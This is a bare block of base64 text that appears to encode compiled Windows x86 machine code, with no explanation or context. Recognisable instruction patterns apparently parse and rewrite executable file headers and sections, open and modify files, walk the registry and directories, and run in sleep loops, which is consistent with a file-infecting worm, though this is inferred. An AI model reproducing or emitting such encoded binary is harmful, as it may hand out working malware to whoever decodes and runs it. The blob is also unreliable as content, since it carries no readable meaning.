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 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F APz//1D/dQzot/3//42FAPz//1CNhQD4//9Q6ARlAACDxBj32BvAQMnDg+wQVVZXg0wkGP+9 ABAAAGoBVb7U8EAA/3QkKDP/iXwkIFbops///4PEEIXAD4XvAAAAV1boTtD//1k7x1mJRCQQ D46yAAAAUzPbhf+JXCQQfjNTVuj+z///WVlQV1bo9M///1lZUOhC////WYXAWXQIx0QkEAEA AABDO9981IN8JBAAdUxqAY1fATtcJBhYiUQkEH0uU1bou8///1lZUFdW6LHP//9ZWVDo//7/ /1mFwFl0BP9EJBBDO1wkFHzWi0QkEDtEJBh+CIlEJBiJfCQcRzt8JBQPjGz///+DfCQYAFt+ FYN8JBgAfA5V/3QkHFbow8///4PEDDP/agFV/3QkKFboxc7//4PEEIXAdRJVav9W6KHP//+D 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 